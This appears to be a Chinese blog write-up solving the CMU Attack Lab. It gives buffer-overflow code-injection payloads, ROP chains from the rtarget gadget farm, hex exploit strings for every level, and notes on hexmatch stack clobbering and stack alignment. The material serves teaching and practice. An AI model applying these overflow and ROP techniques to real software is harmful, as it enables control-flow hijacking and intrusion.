介绍和要求
这一集官方文档是好帮手。文档里面给出了很多的提示和源码相关的信息(虽然我们有作弊工具IDA)。
此外,这关不允许我们通过攻击绕过验证代码或函数,亦即对于我们ROP攻击劫持到的地址做了如下限制:
-
touch1
、touch2
、touch3
函数的地址 -
你自己注入代码的地址
-
gadget farm中的gadget地址
另外,gadget只能来自于rtarget文件本身且地址介于start_farm和end_farm之间的函数。了解了要求限制就可以开始干活了。
Ctarget:Code Injection
这个程序本身大头不在实验本身,主要在各种各样的验证,报错,和远程连接部分,没有IDA也能便于理解。程序还是可以通过参数自己选择输入流(文件/stdin),它内部实现了一个Gets函数,可以从标准输入或者文件流依据选择读取输入,只检查回车和EOF,同时使用一个test()
函数调用,程序运行一下,就是一个读取输入然后告诉你返回值或者抛出错误并输出错误地址附近的十六进制值。
另外,虽然说checksec显示只关闭了aslr,但是canary对于我们实际要攻击的函数部分也是没有的,canary没有加在溢出点和利用函数上。还有这个堆栈不可执行NX保护也是在实验里没有用,我们能随便往栈上写代码然后执行,挺搞的。
Lv1: 简单ret2txt,劫持到touch1
这个文件第一关只要能返回到touch1就行。buf从IDA看是32字节,直接ROP。
1 | touch1=0x4017c0 |
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 > 61 61 61 61 61 61 61 61 61 C0 17 40 00 00 00 00 00
Lv2:ret2sc传递参数,改变分支
这一关需要我们bypass一个分支,判断条件是将cookie和touch2传入的参数比较。看IDA反汇编代码,这里是普通的64位调用规则,这个unsigned int参数从rdi传入。而且只允许使用ret进行控制流转移。
1 | ; void __fastcall __noreturn touch2(unsigned int val) |
这里其实按理说用ROPgadget搜一个就行:
0x000000000040141b : pop rdi ; ret
但是它说我们是injected code,所以可以尝试自己写。但这里其实是不太行的,上网查到的资料都是定位了栈地址然后用一个ret劫持控制流到栈上。然后在栈上写了mov rdi,cookie ret
的机器码。作为本地调试的实际操作者,理论上你有对内存的完全控制权限,直接pwndbg set
不就行了()。如果是非本地环境,其实栈的地址一般比较难泄露而且难以利用。考虑到通关要求,还是假装我们有一个固定的栈地址然后完成这一关。只允许用ret,不然其实直接jmp也行啊():
1 | touch2=0x4017ec |
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 > 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00
Lv3: ret2sc传递参数(字符串指针),改变分支
touch3内部调用了一个启用了canary的hexmatch函数,会将touch3参数中指向的字符串和cookie比较。内部是封装的strncmp()
。里面其实是将cookie用格式化字符串"%.8x"写到了自己的栈上。也就是说cookie要转成8个字节的ascii,然后将地址传过去。
为什么输入会被覆盖?
开始以为和lv2没啥差别,结果这一关搞了半天。touch3是先调用了hexmatch进行判断,hexmatch函数内部最后返回是调用的strncmp函数。 这里官方文档其实提示了这么一句:
When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
这是怎么一回事呢,我们看一下hexmatch函数内部(注意,下面代码不是正确的,只是IDA给出的反汇编):
1 | int __fastcall hexmatch(unsigned int val, char *sval) |
开始我以为这里面再申请空间也不会将前面栈帧破坏了,结果动调反复调整cookie_str的位置发现每次到调用strncmp的时候,栈上对应的位置都已经空了。这里F5就不管用了,我们要从汇编开始跟踪栈帧的变化。
从我们ROP攻击的位置开始,ret指令将touch3的地址pop出去了。然后进入touch3,下面是touch3开头的代码,可以看到压栈了一个rbx,覆盖了原来touch3返回地址的位置:
1 | push rbx |
然后,call hexmatch
的时候,将touch3的返回地址压栈。然后进入hexmatch的开头:
1 | push r12 |
可以看到,直接压了三个寄存器,目前除去返回地址已经覆盖4*8=32字节了,最后watch一下栈地址动调,在call random
的前两行,那一句mov [rsp+78h],rax
最终覆盖了栈地址0x5561dc78
,至此覆盖了40字节加返回地址的内容,cookie字符串如果要写的话就必须要写在返回地址后面了。
而且这里向cbuf中写cookie字符串的时候调用了一个random()%100
,可能是为了暗示这里都不让写东西吧(但其实程序开始的时候每个cookie都被作为随机数种子了,本地运行其实是伪随机)。这里看汇编的话取模运算编译器也是优化的抽象至极,疑似蒙哥马利乘:
下面的代码实现了rcx<-rax%100
1 | mov rcx, rax |
1 | touch3=0x4018FA |
Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
附上Ctarget的exp:
1 | #*-* coding: utf-8 *-* |
Rtarget: Return Oriented Program
溢出点没变,还是一个gets加上32字节长的栈上字符数组的oob。但是这里就是正常的程序了:栈地址随机化且堆栈不可执行。
要求只能用movq, popq, ret, nop指令同时只允许使用rax-rdi寄存器。思路类似,只不过我们有工具可以搜索gadget就会方便很多。按照文档的意思,源文件将那些好用的机器指令藏在了其他指令的立即数中(或者类似的思路)。另外我们只能用gadget_farm中的gadget,即0x401994-0x401ab7地址范围内的gadget。
Lv4:用Gadget和ROP实现Lv2的参数传递
需要将rdi改成cookie就行,但是搜一下发现没有pop rdi
全部的搜索结果:
1 | ROPgadget --binary ./rtarget --range 0x401994-0x401ab7 |
那只能构造ROP chain了。写入cookie的话起手肯定是pop。我们后面大概率都是以这个0x4019ab的pop rax; nop; ret
开头,然后操作rax寄存器。因此就是pop rax->mov rdi,rax
类似的思路。
1 | pop_rax_ret=0x4019ab |
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Lv5: 用Gadget调用touch3
说明书中说“You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now.” 这一关其实可以不做了。但是我们又不是cmu的学生,还是来看看。
touch3和hexmatch都是一样的函数,覆盖也是一样的。这个难点在于,我们唯一能够写入的地方是栈而函数参数需要传指针,我们需要泄露或者想办法传入和栈有关的地址。这需要用到gadget中和rsp相关的指令。
这里就有一个问题。借助0x0000000000401a06 : mov rax, rsp ; ret
只能获取这条指令位置(下一个)的rsp,而为了保证控制流gadget地址后面一定接着是地址,那字符串放在最后的话如何能让rdi传入地址?这时候我考虑第一个add al, 0x37
这个gadget,在中间填充到0x37后让rax最后刚好对到字符串地址,然后使用mov rdi,rax
就行了。
但是本来感觉做出来了结果段错误,莫名其妙(开始显然没想到栈对齐),一步一步调试调试到sprintf内部这里:
1 | 0x7fc5c0d8f6e8 <__vsprintf_internal+88> movaps xmmword ptr [rsp], xmm0 |
此时RSP的值是
1 | RSP 0x7ffd605c4bb8 |
这条指令是一个SSE指令,它的执行需要栈对齐,也就是RSP要对齐16字节,显然是不对的。因此在我们能控制的范围内需要调整payload,但是很遗憾,这个payload我用到了0x00000000004019d8 : add al, 0x37 ; ret
这条,0x37的偏移是算好的了。因此要调节ret,我删除了一个ret用8个’a’填充在后面之后成功过关。
1 | # gadgets: |
Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 06 1A 40 00 00 00 00 00 D8 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 99 19 40 00 00 00 00 00 99 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 35 39 62 39 39 37 66 61 00
最后附上Rtarget的exp:
1 | #*-* coding: utf-8 *-* |
总结:
难度不大的rop训练,但是比较锻炼人,hexmatch的栈覆盖不读汇编是发现不了的,这个覆盖太艺术了,整个程序似乎都是从汇编层面一句一句打磨过的一样,非常神奇。而且通过rtarget的这个训练我终于明白了所谓“64位远程打不通加ret栈对齐”的含义了。受益匪浅,这玩意没有ROPGadgets真的是人能做出来的吗。。
更多的思考:
40字节的溢出是怎么回事?
首先,getbuf内部没有针对rbp的操作,是一个最简单的函数:
1 | ; unsigned int __cdecl getbuf() |
但是为什么按照保存rbp来溢出(也就是0x28+8的padding字节)能成功呢?
动调watch监视rbp位置的变化,发现原本launch内部调用memset的时候触发了glibc的动态链接函数_dl_runtime_resolve_xsavec
将rbx压栈了到最后也没清理。这个函数查了下是glibc动态链接延迟绑定有关的函数。可能都是算好了吧,过程中许多函数栈帧返回地址上方都有8字节的内容,但是很多都是rbx的那个6000结尾的值,再次感叹这个lab程序的神奇()。因为正常的调用是会在开始将rbp压栈然后leave ret的,这个虽然压的不是rbp但是也保证了溢出字节数什么的正确。